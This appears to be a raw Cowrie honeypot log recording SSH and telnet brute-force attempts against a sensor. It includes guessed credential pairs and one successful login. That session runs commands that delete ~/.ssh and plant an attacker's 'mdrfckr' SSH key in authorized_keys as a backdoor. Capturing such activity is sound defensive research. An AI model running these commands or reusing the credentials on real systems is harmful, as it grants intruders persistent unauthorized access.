{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:08.021871Z","src_ip":"172.185.24.228","session":"57ba9805f3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu123456","message":"login attempt [Ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:08.404761Z","src_ip":"172.185.24.228","session":"57ba9805f3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:09.510977Z","src_ip":"172.185.24.228","session":"57ba9805f3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.51369595527649,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:10.938976Z","src_ip":"65.60.27.33","session":"bf79ace14297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.292989015579224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:11.472247Z","src_ip":"62.210.97.77","session":"fbe437976086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52050,"dst_ip":"10.17.0.5","dst_port":23,"session":"87c3d0df0b40","protocol":"telnet","message":"New connection: 165.232.131.181:52050 (10.17.0.5:23) [session: 87c3d0df0b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:13.540068Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34126,"dst_ip":"10.17.0.5","dst_port":23,"session":"364846284a8c","protocol":"telnet","message":"New connection: 62.210.97.77:34126 (10.17.0.5:23) [session: 364846284a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:15.358755Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53470,"dst_ip":"10.17.0.5","dst_port":23,"session":"87a42269a207","protocol":"telnet","message":"New connection: 165.232.131.181:53470 (10.17.0.5:23) [session: 87a42269a207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:16.736120Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f91c54b430b","protocol":"telnet","message":"New connection: 65.60.27.33:51632 (10.17.0.5:23) [session: 8f91c54b430b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:16.942115Z"}
{"eventid":"cowrie.session.closed","duration":33.74276828765869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:17.249856Z","src_ip":"62.210.97.77","session":"cb6aa926326a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34740161895752,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:18.600939Z","src_ip":"62.210.97.77","session":"48db5c22d744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb0c241e5ac9","protocol":"telnet","message":"New connection: 38.54.119.93:49914 (10.17.0.5:23) [session: cb0c241e5ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:23.996304Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41830,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc72523c53fe","protocol":"telnet","message":"New connection: 62.210.97.77:41830 (10.17.0.5:23) [session: bc72523c53fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:25.529787Z"}
{"eventid":"cowrie.session.closed","duration":49.49176478385925,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:25.557796Z","src_ip":"38.54.119.93","session":"154e62ff0709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43616,"dst_ip":"10.17.0.5","dst_port":23,"session":"038cd76e5630","protocol":"telnet","message":"New connection: 62.210.97.77:43616 (10.17.0.5:23) [session: 038cd76e5630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:28.735506Z"}
{"eventid":"cowrie.session.closed","duration":36.76996326446533,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:29.240529Z","src_ip":"62.210.97.77","session":"0b4e7490d076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.558258295059204,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:31.554404Z","src_ip":"38.54.119.93","session":"cb0c241e5ac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":38994,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f49aea0587","protocol":"ssh","message":"New connection: 20.203.42.204:38994 (159.203.135.109:22) [session: 50f49aea0587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:34.182703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:34.188253Z","src_ip":"20.203.42.204","session":"50f49aea0587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:34.354064Z","src_ip":"20.203.42.204","session":"50f49aea0587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123456","message":"login attempt [ubuntu/asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:35.049737Z","src_ip":"20.203.42.204","session":"50f49aea0587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:36.219721Z","src_ip":"20.203.42.204","session":"50f49aea0587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60404,"dst_ip":"10.17.0.5","dst_port":23,"session":"44ebd71136b3","protocol":"telnet","message":"New connection: 165.232.131.181:60404 (10.17.0.5:23) [session: 44ebd71136b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:37.440926Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47872,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c632bae0c6","protocol":"telnet","message":"New connection: 62.210.97.77:47872 (10.17.0.5:23) [session: 51c632bae0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:40.899649Z"}
{"eventid":"cowrie.session.closed","duration":36.78959584236145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:41.214254Z","src_ip":"62.210.97.77","session":"f1d1a64ccd03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47882,"dst_ip":"10.17.0.5","dst_port":23,"session":"617c2f2d2a7d","protocol":"telnet","message":"New connection: 62.210.97.77:47882 (10.17.0.5:23) [session: 617c2f2d2a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:48.038754Z"}
{"eventid":"cowrie.session.closed","duration":33.70325231552124,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:49.061899Z","src_ip":"62.210.97.77","session":"364846284a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49478,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd787f50869","protocol":"telnet","message":"New connection: 62.210.97.77:49478 (10.17.0.5:23) [session: 6dd787f50869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:54.181842Z"}
{"eventid":"cowrie.session.closed","duration":41.55054998397827,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:55.090492Z","src_ip":"165.232.131.181","session":"87c3d0df0b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":50692,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d139f4555f9","protocol":"ssh","message":"New connection: 181.234.2.36:50692 (159.203.135.109:22) [session: 6d139f4555f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:55.838928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:55.844257Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:55.938217Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin12345","message":"login attempt [admin/admin12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.331962Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.564008Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.567453Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.571217Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.665187Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.892466Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.896676Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.994052Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:56.998167Z","src_ip":"181.234.2.36","session":"6d139f4555f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":51068,"dst_ip":"159.203.135.109","dst_port":22,"session":"893b20804798","protocol":"ssh","message":"New connection: 181.234.2.36:51068 (159.203.135.109:22) [session: 893b20804798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:57.094860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:57.101406Z","src_ip":"181.234.2.36","session":"893b20804798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:57.193321Z","src_ip":"181.234.2.36","session":"893b20804798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:57.591087Z","src_ip":"181.234.2.36","session":"893b20804798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.95155930519104,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:58.552245Z","src_ip":"38.54.119.93","session":"46586079378f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:58.685688Z","src_ip":"181.234.2.36","session":"893b20804798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":51690,"dst_ip":"159.203.135.109","dst_port":22,"session":"811cd68f5448","protocol":"ssh","message":"New connection: 181.234.2.36:51690 (159.203.135.109:22) [session: 811cd68f5448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:58.780956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:58.785522Z","src_ip":"181.234.2.36","session":"811cd68f5448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:58.878614Z","src_ip":"181.234.2.36","session":"811cd68f5448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:09:59.271687Z","src_ip":"181.234.2.36","session":"811cd68f5448","protocol":"ssh"}
